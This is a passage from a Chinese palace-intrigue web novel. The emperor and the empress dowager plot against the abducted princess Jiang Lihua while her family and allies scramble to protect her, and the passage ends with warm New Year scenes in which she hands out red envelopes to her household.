御书房中,皇帝看了递上来的奏折气的直接把折子摔在了地上,“这个逆子!明知道她是被掳走的,却依旧不肯放弃把她带回来!那个女人究竟给他吃了什么迷魂药!”
手臂上搭着拂尘的福清闻言往皇帝身后挪了挪,避免皇帝把怒火转移到自己身上来。
但身为大总管的他,能因为躲开皇帝的视线就真的能躲开皇帝的怒火了吗?
“福清!”皇帝沉声喊道。
福清赶紧两步走上前跪在地上,尖声应道,“唉,奴才在,陛下您有什么吩咐。”
“那个女人对御儿有救命之恩。”皇帝沉沉的看了一眼跪在地上的福清,语气冷漠,“若是没发生这种人尽皆知的事情,朕允她将来做个太子侧妃是没问题,但是现在闹出这么大的丑闻,即便她曾救过御儿的命,朕也不准她回到京城来,让世人皆看我们皇室的笑话。”
福清有些震惊的抬头看了皇帝一眼,低声道:“陛下?”
皇帝的眼神逐渐变得阴鸷,“御儿如今非要把她带回宫无非是因为她是他的救命恩人,他不想让自己成为忘恩负义的人,皇室也不能背负上忘恩负义的名声。”
福清闻言总算是舒了口气,只是他还没来得及说话,就听皇帝又道:“你派人伪装成段贺年的同党在他们回京的路上去刺杀,务必要保证那个女人没办法活着回京。”
福清心惊胆跳的抬头看着冷血无情的帝王,有些犹豫。
皇帝见他迟迟不动,眉头一皱,“还不去办?”
“陛下,您这样做,若是让御王殿下知道了,怕是会和殿下离心的。”福清跪在地上重新垂下头,“只要不是太子殿下的正妃,做个侧妃,她的名声是影响不了以后是影响不到殿下的。”
皇帝冷哼了一声,眼神冰冷地盯着福清的头顶,“你觉得御儿把那个女人带回来之后,会答应让那个女人只做个侧妃吗?”
福清心头一震,想到御王殿下的性子,他不敢说话了。
御王殿下既然要把御王妃带回来,那肯定是做好了自己被封为太子,他就要亲自请旨封御王妃为太子妃的。
站在门外的皇后听到皇帝的话,她对着身旁的佩蓉摇了摇头,抬步离开了御书房。
她过来无非是想问问御儿的下落,这已经这么多天了,她没有半点御儿的下落,没想到今天过来,竟然又见识了一次帝王的无情。
皇后刚回凤仪宫,还没坐下,慈宁宫的翠嬷嬷就过来请皇后去慈宁宫小坐了。
皇后到慈宁宫,正在与孟若瑶说话的太后就笑着朝她招手,“皇后快来。”
孟若瑶也在这时候站起来给皇后见礼,“臣女参见皇后娘娘。”
皇后点了点头,不咸不淡地看了她一眼,“不必多礼。”
太后拉着皇后在身边坐下,“哀家瞧你怎么精神不好?”
“眼瞧着没两日就要过年了,御儿也一直没回来,儿臣有些想他了。”皇后垂下眉头,“原本儿臣打算去问问陛下的,又怕打扰陛下处理政务。”
太后闻言笑了笑,“御儿那孩子如今身子刚好不久,正是任性的时候,等将来封了太子,娶了太子妃,身上有了重担,身边有人拘着他,自然就会懂事了,你也不必太过操心。”
皇后眼底闪过一丝不易察觉的嘲讽,她怎么从来不知道原来自己的这个姨母,竟然是如此薄情寡义之人呢。
她竟然眼盲至此,如今才发现。
第246章 杀了她,保护她
“是啊,等把御王妃找回来,有御王妃拘着御儿,想来御儿也会更懂事一些。”皇后笑着拍了拍太后握着自己的手,低声道:“这孩子没有御王妃在身边就总是控制不住自己的情绪。”
太后的脸色随着皇后这句话黑了下去,她抽回自己的手,目光沉沉地看着皇后,“皇后还不知道如今宫外发生了什么?”
皇后不解地抬眸看着太后,余光却扫过坐在太后左下侧的孟若瑶,“宫外发生了何事?臣妾一直在宫中也不曾打听宫外的事情,的确不知宫外发生了何事,难道是御儿找到御王妃了?”
孟若瑶瞧皇后脸色不好,一下子从椅子上直接跪在了地上,“都是臣女的错,臣女今日不应该进宫的。”
“你有什么错!那些事情你不进宫告诉哀家,哀家也会从旁人嘴里得知的。”太后让翠嬷嬷扶孟若瑶起来,又接着道,“事情都已经发生了,难道还说不得了!”
太后说到这里目光沉沉地看向皇后,“你知不知道那个女人是被赵忠的大儿子赵彦庭掳去了江南,他们两人还差点在江南成了亲!发生了这么大的丑闻,皇室还怎么可能要这种女人!”
太后说到这里想到先前与孟若瑶的猜想,又道,“那个赵彦庭宁愿不要军功也要掳走她,带她回江南成亲,可见他们曾经就有私情!你可不能心软再让御儿把她给带回来!”
皇后整个人一僵,她坐在红木椅上怔怔地看着说变脸就变脸的太后,低声道:“母后,她救过御儿的命!”
“那又如何!”太后瞧着心软的皇后,手狠狠地在高几上拍了一下,厉声道:“她救过御儿的命就要挟恩图报吗?救过御儿的命,就要把整个皇室的名声都赔给她吗?救过御儿的命,就可以遮掩住她和旁的男人有私情吗?”
太后的话一字一句的打在皇后的脸上,让皇后说不出半句话来。
孟若瑶瞧着皇后越发苍白的脸,低声道,“皇后娘娘,姑祖母也是为了御王殿下的名声着想啊,将来的太子殿下,总不能娶一个名声有毁的太子妃吧?”
皇后没有理会孟若瑶的话,她缓缓站起身子对太后行了一礼,“臣妾谨记母后的话,等御儿回京之后也会好好规劝御儿,今日臣妾身子不适,就不陪母后说话了。”
太后淡淡的应了一声,让皇后退下。
等皇后退下之后,孟若瑶才叹气低声道:“看来皇后娘娘很喜欢御王妃呢。”
“皇后是个心软的。”太后瞧着皇后离开的背影,朝着孟若瑶伸手,等孟若瑶把手放在她掌心之后,她才拍了拍孟若瑶的手背,继续道:“那姜黎婳毕竟是救过御王的命,御王又是皇后的命根子,她不愿当背信弃义之人也在情理之中。”
太后说到这里,眼底闪过一丝狠厉,“不过哀家是绝对不允许楚国未来的皇储娶一个有污名的太子妃的。”
她抬眸看着孟若瑶,眼底闪过一丝精光,“孟家也是时候再出一个太子妃了,将来等你当了皇后,承恩公府的荣耀才能延续。”
她能让承恩公府从一个小小的侍郎府变成承恩伯,又让承恩伯成为承恩公,那她就要让承恩公府的荣耀延续下去。
若御王只是一个身子糜弱的闲王,那御王妃能讨得御王的欢心,即便名声再如何,她也会爱屋及乌不去计较,更不会对御王娶妻纳妾的事情指手画脚,说不定还会当一个慈眉善目的祖母,继续善待御王妃。
但是如今御王身子大好,其他皇子也都废了,那太子妃就一定要出自于他们承恩公府才是。
孟若瑶听到太后这话眼底多了一丝势在必得,有太后这个后宫中最尊贵的女人为她造势,她相信自己绝对可以成为太子妃,将来也必然成为这后宫之主!
“若瑶都听姑祖母的,会为了承恩公府的荣耀努力讨好御王殿下的。”她脸上露出恰到好处的羞涩,跪在地上对太后表决心。
太后很满意孟若瑶的表现,她亲自拉着孟若瑶站起来,笑着道:“这件事情发生之前让御王休了她说不定有点难度,但如今她自己闹出了这么大的丑闻,想必即便是哀家容得下她,皇帝也容不下她的,你就安安心心的等着御王回宫受封太子,然后与太子成亲就是。”
“若瑶明白了。”孟若瑶垂下眼眸遮住了眼底的那抹狠意,她以前不在意什么御王御王妃,但是御王若当了太子,那她就要当太子妃。
姜黎婳能轻易蛊惑御王的心神,那不管皇帝是否出手,她都不能让姜黎婳活着回到京城。
凤仪宫外的长廊上。
贤妃在外面来回踱步了好一会儿才看到皇后沉着脸从慈宁宫的方向回来了,她连忙朝皇后迎了上去,“娘娘,臣妾家中的商队给臣妾传了消息,现在外面都是对御王妃不好的传言。”
皇后有些疲惫地点头,“本宫已经知道了。”
“臣妾相信御王妃是清白的。”贤妃抿嘴,“御王妃若真的与那赵彦庭有什么,定然会早早就告诉御王,更不会与御王有什么牵扯的,还有...若御王妃真被那个赵彦庭强迫了的话,想来是不会活着等御王找到她的。”
皇后叹了口气,抬手疲惫地揉了揉眉心,“本宫知道,但是现在外界的传言对她不好。”
她看向贤妃,抬手挥退跟在身后的宫人。
她和贤妃身边的宫人都齐齐退下。
贤妃上前挽着皇后的手朝凤仪宫慢慢走去,皇后拍了拍贤妃的手低声道,“皇上已经让福清派人去刺杀婳儿了,太后那里必定也会下手。”
皇后说到这里脸色变了变,“承恩公府必定也会因为孟若瑶的缘故对婳儿下手。”
“那怎么办?”贤妃眉头微蹙,“臣妾给家中去消息,让他们派人暗中保护御王妃?”
皇后抿了抿嘴,她轻轻摇头,“我知道你是好意,但是若让太后知道了,你和你家中都没好果子吃。”
贤妃抿了抿嘴,“那该如何是好?镇国侯府定然也不能明面上和陛下还有承恩公府撕破脸皮。”
皇后咬了咬牙,还好她当初没有把婳儿更多的事情告诉皇帝,如今皇帝也只是知道姜黎婳会医术,是江南首富的女儿。
“你帮本宫传个消息去太傅府。”皇后压低声音在贤妃耳边低语了两句,“太傅会帮忙的。”
贤妃眼睛一亮,“是啊,御王妃可是沈小姐的救命恩人,沈太傅绝对不会对这件事情置之不理的!”
太后说得没错,皇后是个心软的人,特别是对自己有恩的人,她或许之前想岔了,但是,她之前虽然不想自己的儿子只钟情于一个女人,却也从来没想过让那个救了自己儿子的女人去死。
第247章 皇室不仁我们不义
除了皇宫中的人心思各异之外,还有好几家此时也在接到消息之后陷入了为难的境地。
永宁伯府。
老夫人胡氏坐在自己院子的正屋中沉着脸看向面色不好的孟雪莲,沉声道:“我知道那孟若瑶是你娘家的侄女,现在婳儿又发生了这些事情,若让你还站在婳儿这边的话,你势必会为难。”
孟雪莲的面色的确很不好,以前承恩公府的确没有要与皇室结亲的想法,甚至对她都没有她透露半分,甚至好几次都出面帮御王和御王妃,但如今他们竟然要让孟若瑶当太子妃...
而且现在外面都在传御王妃被赵大公子掳走带去江南差点和赵大公子成亲的事情,可见这件事情就是被人刻意宣扬的,为的就是坏了御王妃的名声,让御王休了她。
“母亲,曾经大皇子的婚事我们插不了手,以后太子殿下的婚事,咱们同样插不了手。”孟雪莲有些愧疚地抬眸看着胡氏,轻声道:“但是儿媳保证,儿媳从不相信外面的谣言,也相信婳儿是被诬陷的,若皇室真的因此想要休了花了,那儿媳就收婳儿当义女,将来必定把婳儿当亲女儿一样疼。”
让若瑶将来嫁给太子成为太子妃的人是太后,家中为了承恩公府的荣耀,对让若瑶嫁给太子妃这件事是势在必行的。
她这个嫁出来的女儿即便能说得上两句话,家中也不可能会听她的。
她唯一能做的就是弥补那个被亲爹陷害,被亲娘抛弃的可怜孩子。
胡氏揉了揉眉心,“你有这个心就行了。”她垂眸思索了片刻,对孟雪莲道:“你先回去吧,这两日忙着过年的事情你也累了,早些休息。”
“母亲您也早些休息,儿媳先告退了。”孟雪莲起身对胡氏福了福身子,这才转身离开。
站在门外把母亲和祖母两人的话都偷听了去的吕静雅刚要走就被自家母亲揪了个正着,她抿了抿嘴,朝着孟雪莲呲牙一笑,“母亲。”
孟雪莲揪着她的衣领大步往外走,走出胡氏的院子了,才嗔骂道:“你这孩子怎么总改不了偷听墙角的习惯?”
吕静雅撇嘴,从孟雪莲手中救回自己的衣领,她撇嘴道:“娘,我相信婳儿姐姐绝对不是外界传言的那种人,她这是被陷害了。”
孟雪莲叹气,“但如今京城把她被掳走在江南差点与人成亲的事情传得沸沸扬扬,即便是被陷害的,她将来在皇室也是举步维艰的。”
孟雪莲还有一句话没有说,那就是即便她与御王和离了,她一个坏了名声的女子,在京城也是举步维艰的。
除非她离开京城,找一个没人认识她的地方重新开始。
“不公平!”吕静雅听了孟雪莲的话,眼眶就红了,她抬头看着孟雪莲,“婳姐姐明明是被皇室牵连的!凭什么现在因为她被人掳走了,就要承受这么多的言语攻击?”
瞧着吕静雅为姜黎婳打抱不平的模样,孟雪莲上前拉着吕静雅的手,为她擦去眼角的泪珠,语重心长,“静儿,这个世道对女性本就不公平。”
......
“他敢休妻!”姜宅中,姜斯羽听了姜淮邦的分析手掌狠狠地拍在手边的高几上,“他若敢休妻,我就是不要这条命,我都和他拼了!”
“你不是希望婳儿和他分开吗?”姜淮邦说罢端起手边的茶水抿了一口,又沉着脸道:“怎么现在反应这么大?”
“我想要婳儿和他和离那是婳儿没有半点理亏的情况下,如今外界都在传婳儿被...”姜斯羽沉着脸,冷声道:“婳儿不可以这么不明不白的被他们皇室休弃!”
“可是我们只是商人,要如何与皇室斗?”姜淮邦把茶杯放下,脸色沉重,“如今我们唯一能做的就是让婳儿从皇家全身而退,带着她离开,让她不再受着京城流言的纷扰。”
“可是这对婳儿太不公平了。”姜斯羽眼神阴沉,“早知道最后婳儿落得如此下场,当初说什么我们都不让她回京!”
“一切等婳儿回京再说吧,她若还想当御王妃,那我们就是用尽全部身家为她洗清名声也让她安坐御王妃之位,若她不想继续当御王妃了,想要离开京城,我们就带她离开,从此以后再也不踏入京城半步。”
“对,咱们去其他国家!以咱们家的财力,去哪个国家都可以过得风生水起的!”姜斯羽眼睛一眯,若是楚御礼真的敢做出休妻这种事情来,那他让人帮忙买一个其他国家的身份,在其他国家安定下来,再出钱帮他们培养兵力,然后让那些人给楚国找点麻烦也不是不可以!
越是这样想,姜斯羽越觉得势在必行,他眯眼站起来,“爹,咱们不如去南诏吧?”
如今能和楚国能一较高低的只有南诏,他相信以他们家的财力帮南诏招兵买马,帮南诏拿下楚国,南诏的皇室应该会很欢迎他们的。
姜淮邦听着儿子的话,有些不解,“南诏?”
“皇室若敢忘恩负义休了婳儿,那就别怪我们家当卖...”
“住口你这臭小子!”姜淮邦慌忙站起来过去捂住姜斯羽的嘴,沉声道:“你这话若让你赵伯伯听到,他第一个不放过你!”
“那就把赵伯伯也策反了。”姜斯羽眼睛一眯,“让赵伯伯带着江南兵马跟我们一同...”
“哎哟!”姜斯羽一脸的精明被姜淮邦一巴掌拍散,他抬头捂着自己的后脑,怒声道:“你打我做什么?”
“你可住口吧!”姜淮邦头疼地揉了揉眉心,这女儿的事情还没有解决呢,儿子就想通敌叛国了...
他的心好累。
“我说的又没错,劫走婳儿的是赵伯伯的大儿子,您觉得皇帝会这么轻易的放过他?”姜斯羽轻哼,“更何况,赵伯伯如今人就在京城。”
“你赵伯伯定然早有准备,而且这件事情御王那边没开口,就没人能给这件事情下定论。”姜淮邦负手走回椅子上坐下,沉声道:“你给我沉住气,一切等婳儿回京之后再说!”
“我...”
姜淮邦抬眸看向姜斯羽,姜斯羽被他凌厉的眼神吓得缩了缩脖子,“爹你这么凶的瞪着我做什么?我不说话了还不行?”
“你若敢再说出那种大逆不道的话来,老子让你吃鞋垫子。”姜淮邦说罢嫌弃的挥了挥手,“眼瞧着没多久就要会试了,快回去睡觉。”
姜斯羽:“?”
请问我回去睡觉和会试有什么关系?
见他还站着不动,姜淮邦瞪眼,“还不滚,我看着你就觉得碍眼!”
姜斯羽摊手,想让他滚就直说,还拿会试当什么借口?
他转身大步离开,懒得和这个只会用鞋垫子威胁人的爹多说什么。
第248章 真心实意?虚情假意?
除了姜家和永宁伯府外,还有几家也因为姜黎婳的流言陷入了不眠。
状元胡同中,吕月琴家中。
她独自坐在屋中看着摇曳的烛灯陷入了沉思,不知不觉一根蜡烛就那样燃尽了,一直在她身后守着她的刘嬷嬷去重新换上烛灯,上前劝道:“夫人,时候不早了,早些休息吧。”
吕月琴回眸看了刘嬷嬷一眼,轻叹,“嬷嬷,你说如今我该怎么办?”
“夫人是说小姐的事情吗?”刘嬷嬷低声问。
吕月琴点了点头,她眼底露出纠结,“她如今被人掳走坏了名声,皇室定然是不会再接受她当王妃的,我想把她接回来,又怕她不接受。”
更何况她曾发誓只会默默守护她,不会再去烦她...
即便是如今这样的局面,她也不配再出现在她面前。
“若曾经小姐身为御王妃,您求她原谅她可能会多想,但是您在她需要帮助的时候朝她伸手,想来小姐定然会看清楚您的心,原谅您,跟您回家的。”刘嬷嬷给吕月琴斟茶,“若夫人您想找回小姐的话,等小姐回京,您就去告诉小姐,不管皇室接不接受她,您的怀抱永远的等着她。”
吕月琴听了刘嬷嬷的话整个人一顿,她想到姜黎婳回到自己怀抱的画面,眼底闪过一丝喜悦,但是不知道想到什么,她眼底的光亮又熄灭了下去。
不行,她不能再惹得婳儿嫌弃,也不能再让婳儿被推到风口浪尖之上。
既然以前是他们对不起婳儿,以后还是她不仁不义好了...
她挣扎的闭上眼睛,好半晌了才又睁开眼睛问刘嬷嬷,“你说我若把名声有损的婳儿接到身边,承儿和业儿会不会抗拒?将来他们的夫人会不会嫌弃婳儿?”
刘嬷嬷一顿,好一会儿了她才问,“那夫人您是更想接小姐回来多一点,还是希望小姐不回来好一点?”
“我自然是希望婳儿回来的。”吕月琴被刘嬷嬷问得脸色苍白,她不自在地皱了皱眉头,沉声道:“曾经是我被猪油蒙了心,但无论怎么说她都是我女儿,我自然要护着她的。”
但这一次,她不会再向以前那样了,以后她会信守承诺,默默守着婳儿。
刘嬷嬷垂眸,“夫人既然想接回小姐,又在意两位公子将来的想法,那不如现在就问问两位公子的意见。”
吕月琴抬手捂着脸,“是我对不住她,无论是以前还是现在都是我对不住她。”
“她既然都已经不想我这个娘了,那我还是不要到她面前去碍眼好了。”她说罢失魂落魄地站起来,往床边走,“刘嬷嬷你也早些休息吧。”
刘嬷嬷应了一声服侍着吕月琴在床上躺下,这才转身离开了吕月琴的屋子,在关上门的那一瞬间,刘嬷嬷往吕月琴床上看了一眼。
她叹气,说到底还是因为没有养在身边,感情不深,所以即便心有愧疚,也无法与养在身边的孩子相提并论。
这样犹豫不决的夫人,若小姐真的原谅了夫人,她也替小姐不平。
她曾经还真是眼瞎,竟然还在心头埋怨过小姐对夫人不孝顺,这样的夫人,小姐不孝顺才是理所应当的。
也只能说小姐与血缘亲人的亲缘太浅,只希望命途坎坷的小姐能平安度过此劫吧。
刘嬷嬷轻轻关上吕月琴的房间门,转身往自己的小屋走去。
与此同时,接到了宫中皇后传来的消息,沈遇知带上自己的两个儿子一同去了上官府。
进了宅子后瞧着灯火通明的院子,沈遇知眉梢微蹙,他问前面为自己带路的馒头,“师父也因为小师妹的事情忧心?现在还没睡?”
“老爷在吃宵夜。”馒头有些尴尬地挠头,“不过他老人家也倒是的确因为小姐没有睡着。”
不过不是因为外面小姐的传言没睡着,而是因为太久没吃到小姐做的汤包而睡不着...
当然这种事情,他这个忠心耿耿的小厮是绝对不会告诉大老爷的。
沈遇知带着两个儿子到上官清泉院子的正屋时,上官清泉刚吃了宵夜正拿着帕子擦嘴,看到沈遇知过来,他嫌弃地看了一眼桌上的烧鸡骨头,哼声道:“没准备你的,别问我要吃的。”
沈遇知暗暗朝自己的师父翻了个白眼,然后才朝上官清泉行礼,“师父,徒儿今日来是为了师妹的事情,皇后给徒儿传了消息,说皇帝想让师妹死在回京的路上,太后也已经属意想要承恩公府的小姐当太子妃,想来她也会对师妹动手的。”
“你来告诉我做什么?”上官清泉一边用帕子擦手一边嫌弃地看着自家徒弟,“皇帝要杀自己的儿媳妇,我还能阻止不成?”
“那咱们总要给师妹报个信啊!”沈遇知瞪眼,“您难道就不管师妹的死活了?”
他怎么不知道自家师父是这么冷血无情的人啊?
师妹可是他的徒弟啊!
“楚国将来的太子如今已经毫无疑问的确定了就是楚御礼,而他的太子妃之位定然会让人争个头破血流的。”上官清泉把帕子随手丢在桌子上,抬眸看着自己的徒弟,“你不想让女儿当太子妃?”
“我可没有卖女求荣的癖好。”沈遇知一脸傲娇的扬起下巴,“我的女儿想嫁给谁就嫁给谁!我沈遇知的仕途难道还需要嫁女儿来给我铺路了?”
“嗯,不错,有点志气。”上官清泉点了点头,“回去睡觉吧,我吃饱了,该睡觉了。”
“师父你是一点都不担心师妹的安危吗?”沈遇知急声道。
“有什么好担心的。”上官清泉站起来,负手睨着焦急的沈遇知,摇头道:“你忘了和那丫头在一起的人是谁了?”
“御王可信吗?”沈遇知蹙眉,“徒儿觉得皇室的人都不可信,御王说不定也想让师妹死呢?”
“他死了都不会让你师妹死的。”上官清泉幽幽地朝沈遇知挑了挑眉头,转身朝自己的房间走去,“你把心放肚子里,回去睡觉,都多大的人了,还咋咋呼呼的,你学学你两个儿子,看看他们两人多沉得住气?”
沈归离、沈归昱:“......”
他们两人只是找不到插话的时机而已。
瞧着上官清泉真的进屋睡觉去了,兄弟两人才默默地抬头看向自家记得团团转的父亲,沈归离问,“父亲?咱们回家吗?”
“回!他自己徒弟的死活他都不管,我这个当师兄的操那么多心做什么!”沈遇知甩袖转身大步离开。
兄弟两人连忙跟上。
走出上官府,气急败坏的沈遇知停下脚步回头盯着自家两个儿子,忽然被死亡凝视的兄弟两人齐齐往后退了一步,沈归昱挠头,“爹你这眼神怪让人害怕的。”
沈遇知指着沈归昱,半晌后又看向沈归离,最后甩袖,“指望不上你们两人!”
他大步朝自己的马车走去,冷声道:“回府。”
他得回去合计合计,是不是应该买点杀手在路上埋伏皇帝的人啊?
第249章 除夕
除夕清晨。
姜黎婳是被姜家仆从的吵闹声给吵醒的,她有些疲倦地抬手揉了揉眼睛又在床上缓了好一会儿才坐起来,等起身之后才发现昨夜躺在身边的人不知去向了。
知道他不会忽然离开,姜黎婳起身去把房间门打开,早就院中等着的婢女见状开心地给姜黎婳行礼,“小姐您醒了,奴婢这就去给您端热水洗漱。”
“姑爷呢?”姜黎婳站在门槛处。
婢女笑嘻嘻的回答,“姑爷一早就出门了,说是会回来陪您吃早饭的,奴婢这就去吩咐厨房把您的早饭准备上。”
姜黎婳点了点头,让婢女去准备热水,自己则回房间换衣裳。
他们是昨天傍晚赶回来的,家中仆从多数是家生子,所以即便过年家中主子不在,也都留守在主家,他们昨天回来之后,家中仆从也都见过楚御礼了。
姜黎婳在婢女的伺候下完成洗漱和梳妆,厨房那边就把早饭端过来了,婢女笑着道:“是小姐您最爱的皮蛋瘦肉粥和蒸饺。”
“放着吧,姑爷还没回来,一会儿等姑爷回来了,咱们再吃。”姜黎婳起身往屋中走,一边对伺候自己的婢女道:“青梅,你去数一下家中有多少仆从留下来过年的。”
青梅闻言立刻开朗的应了一声笑着跑了出去,只是人才跑出去就遇到了冷着脸走进来的姑爷,青梅面色一僵,赶紧停下脚步给新姑爷行礼,“姑爷。”
楚御礼脚步没停,嗯了一声抬步进屋,青梅站在那里等姑爷进去之后,这才又欢快地朝院外跑去。
刚跑到院外,又遇到了冷面侍卫站在院外,看到对面腰间陪着的剑,青梅脸上的笑容又消失了...
为什么小姐这么漂亮的人找个姑爷是个冷面人啊!
就连身边的侍卫都这么冷冰冰的...
真难以想象他们家不能与男子接触的小姐是怎么和这个冷面姑爷相处的?不过小姐有那种病还能接受和姑爷成亲,姑爷应该对小姐很好的吧?说不定姑爷就是面冷心热那种人呢?
青梅正胡思乱想间沉鹤四人已经往后退了两步给她让出一条道,昭临朝青梅微微一笑,“青梅姑娘请。”
青梅的心一下子就开始在身体里面乱撞了,这个侍卫笑起来的时候好温柔啊!
姑爷身边的冷脸侍卫笑起来都这么好看,那姑爷温柔起来小姐岂不是更加招架不住?
难怪小姐会嫁人呢!
胡思乱想一通后,青梅红着脸跑开了。
昭临:“?”
他不解地看着青梅的背影,蹙眉,“她跑什么?我很凶吗?”
青砚咂舌,“肯定是你长得太丑把人吓到了!”
“他们两个如果排第一第二的话,那我肯定排第三!”昭临眯眼看向青砚,“不然我们打一架把第三第四排出来?”
沉鹤和冽风二人听着两个中二人的对话,默契地对视了一眼,然后站着离两人更远了一点。
昭临青砚两人在内讧的时候可以吵吵,但是在对待第一第二的时候,却是目标明确的,看到沉鹤他们那巴不得离自己远远的模样,两人眼睛一眯,青砚立刻道:“你们这是什么意思?”
“离傻子远点,避免传染。”沉鹤面无表情地看着两人道。
昭临做挽袖的动作,“来!再打一架!”
冽风淡淡地睨了他一眼,“那小婢女一看就是被你弄害羞了,活该没媳妇。”
原本打算上来和人打一架的昭临闻言脸一下就红了,他扯了扯最忌刚刚被自己抚上去的衣袖,往冽风这边走了两步,“你说真的啊?”
冽风往后退了两步,“滚远点,别挨边。”
“哎呀,你就和我说说,那青梅姑娘真的对我有点...”
“果然春天到了啊,有人的桃花开了~”沉鹤在旁边幽幽道。
昭临闻言抬手捂着脸转身大步离开,这些人好烦啊,竟然这样调侃他!他才不会为了一个女子留在江南呢!
看来他得找个时间去和青梅姑娘说清楚。
他生是王爷的侍卫,死也是王爷的鬼侍卫,小姑娘和他是没结果的!
想到自己即将伤害一个春心萌动的小姑娘,昭临心头忽然有了罪恶感...
屋中完全不知道院外这段插曲的姜黎婳瞧楚御礼进来,她笑着朝楚御礼招手,“快来帮我裁红纸做红包。”
楚御礼走过去自然的结果姜黎婳手中的剪刀,帮她裁红纸,“这些事情交给下人去做就是了,怎么还自己动手了?”
“这本来就要自己做才有意义。”姜黎婳站在他身边开始折红包,然后把自己早就准备好的银票放进红包里面,“一年也就这一次当然要亲手做才有意义,一会儿咱们再去贴对联和门神。”
瞧着她熟练地折红包的模样,楚御礼脸上露出笑意,他点了点头,“好,那一会儿为夫亲自些对联如何?”
“好啊,咱们吃了早饭,先去街上买年画和门神,你再回来些对联如何?”姜黎婳笑眯了眼睛,“你一早出去哪儿了?”
楚御礼偏头看了一眼桌上的早饭,又看向旁边的一叠红纸,“不然咱们先用膳,一会儿再来叠红包?”
“对,早饭端过来有一会儿了,再不吃得凉了,凉了就不好吃了。”姜黎婳放下手中的折好的红包,拉着楚御礼去餐桌旁边坐下吃饭,“你还没说你一早去哪儿了呢。”
“买了一点年货。”楚御礼掩下眼底的阴沉笑着抬眸看了姜黎婳一眼,促狭道:“身为姜家的姑爷,第一次登门,自然得准备一些礼物,不然府中仆从还以为自家姑爷上不得台面呢。”
姜黎婳没想到楚御礼竟然对他们家的仆从都这么周到,“其实你不用准备的,一会儿红包你来发就可以了。”
“无碍,一会儿红包也用为夫的银子。”楚御礼抬手捏了捏姜黎婳白嫩的脸颊,“粥都要凉了,快吃。”
最后姜黎婳还是坚持要用自己的银票给他们装红包,“这是我早就准备好的,每人五十两银子的红包,你那里肯定找不出这么多来,你就别和我争了。”
“是是是,我的就是娘子的,娘子的也是娘子的,既然全都是娘子的,娘子要怎么安排都听娘子的。”楚御礼笑着刮了姜黎婳的鼻梁一下,帮她一起折红包。
已经把人数清楚的青梅跑到门口就看到夫妻两人这温馨的一幕,她停下脚步好好地欣赏了一番,原来姑爷对小姐真的这么温柔啊。
看到小姐能和一个男子如此亲密地相处,而且还这么幸福,她好开心呀!
青梅不愿意进去打扰自家小姐和姑爷,但是却被小姐瞧见了,她只能笑着对姜黎婳道:“小姐,奴婢数清楚了,加上小孩一共五十八个人。”
姜黎婳颔首,“武夫也算进去了吗?”
“加上三十个武夫,有八十八个人呢。”
第250章 发红包凑热闹
姜黎婳把红包装好就让青梅去把人全都喊过来。
昭临等人看到在院外排队的人,眼底闪过一丝不解,等看到姜黎婳让青梅用簸箕端着红包出来,他们人都震惊了。
“江南还有这种好习俗?”
正好站在他们身边的武夫闻言忍不住看了一眼衣着比自己高了几个档次的姑爷家的侍卫,骄傲的扬起下巴,“这可不是咱们江南的习俗,这是咱们姜家的习惯,自从小姐懂事之后,每年都会给家中的仆从发红包,而且每年红包的数额都不小,这几年每个人都有五十两银子,是好多奴仆两年的工钱了呢。”
“是啊。”穿着白色衣袍的厨师笑眯眯的够着往前看,“还以为今年小姐不在江南咱们肯定收不到红包了,没想到小姐昨儿个夜里竟然赶回来了!真是意外之喜!”
“王...夫人平日这么大方的?”过年发五十两银子当红包!
就他们几个平日里的月例很高,这也是他们两个月的月例了啊!
更何况这些普通的仆从,这红包可是以年为单位的月钱了啊!
“那是当然了。”一旁站着的嬷嬷笑着道:“这江南不知道有多少人羡慕咱们能在姜府做工呢,小姐不仅每年过年会发红包,甚至还办了学堂,请了教书先生,让先生教咱们家生子读书,若是有能力的,还会免去奴籍,资助上学...”
嬷嬷说到这里眼眶红了,“小姐说只要有出息,就不用世代为奴,小姐可真真是大好人!”
“没错,小姐就是大好人。”旁边的人开始附和,
“小姐说这叫企业文化,好的企业是要善待工人的。”一旁的小厮笑着挠头。
有说有笑的奴仆往前去领红包了,昭临等人在原地面面相觑,他们不知道原来他们的王妃竟然这么有格局啊。
王妃不仅会主动给仆从发红包,还自己出钱办学堂,让仆从的孩子有学上,甚至许诺他们若有能力,就会还他们**契,免去奴籍,让他们有将来能改变自己命运的机会!
前面排着的长龙散去,昭临他们都还在发呆,原来王妃不只是在京城能帮主子,在他们不知道的曾经,还一直在帮其他人。
这样的王妃,皇室怎么可以那样对待!
“沉鹤!”姜黎婳的笑声从院中传来,“冽风、昭临、青砚!”
她朝四人招手,“喊你们领红包呢!发什么呆啊?”
“我们也有?”冽风用手指指了一下自己,表情有些呆,“王...夫人您还准备了我们的?”
“当然了。”姜黎婳把一叠红包递给他们,“你们一人一个,其他我不知道还有多少人跟着我们,你们先拿去分,不够的我再补上。”
“够了够了,这些已经足够了。”冽风双手接过红包,对姜黎婳鞠了一躬,“多谢夫人。”
楚御礼睨了冽风一眼,沉声道:“一会儿我们要出门买门神和年画,你们把红包发下去之后,就过来跟我们出门。”
冽风立刻站直了身子,沉着脸应声,“属下知道了。”
拿到红包的沉鹤三人也向姜黎婳道了谢,然后站在门边嘟囔,青砚摇头感叹,“女主子就是好,心细,咱们主子可从来没有给咱们准备过红包。”
“那今年过年的赏赐你给我。”昭临眯眼。
“滚,我说的是红包,不是赏赐。”青砚撇嘴,“这是气氛,你懂不懂。”
不知道四人又差点吵起来的姜黎婳从自己的衣柜里面翻出一件红色的毛领大氅穿上,又在外面搭了同色系的带帽披风,把帽子戴在头上,她转身问楚御礼,“好看吗?”
“我的娘子怎么都好看。”身穿黑色长袍搭了同色披风的楚御礼笑着走过来牵起姜黎婳的手,“今天就更好看了,就像雪地里面的娃娃一样,让人挪不开眼睛。”
“算你会夸人。”姜黎婳心满意足地捏紧楚御礼的手和他一起出门。
“为夫这都是说的实话,可不是违心乱夸。”楚御礼把她的手放在唇边亲了亲,一边低声道:“一会儿在街上娘子可不能放开为夫的手,要时刻都跟在为夫身边才行。”
“为何?”姜黎婳有些不解,“你这么大一个人了,难道害怕走丢了不成?”
“那倒不是,为夫是怕夫人这么好看,被人抢了去。”楚御礼促狭地看了姜黎婳一眼,“这么好看的娘子,为夫自然是要看得紧一点,不能让你离开为夫的视线半步。”
姜黎婳以往经常听楚御礼说那些话,她原本以为自己已经免疫了,但...
她红
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着脸嗔了楚御礼一眼,“你正经一点。”
“为夫说的可都是心里话,娘子不信?要不要为夫把心剖出来给娘子瞧瞧?”
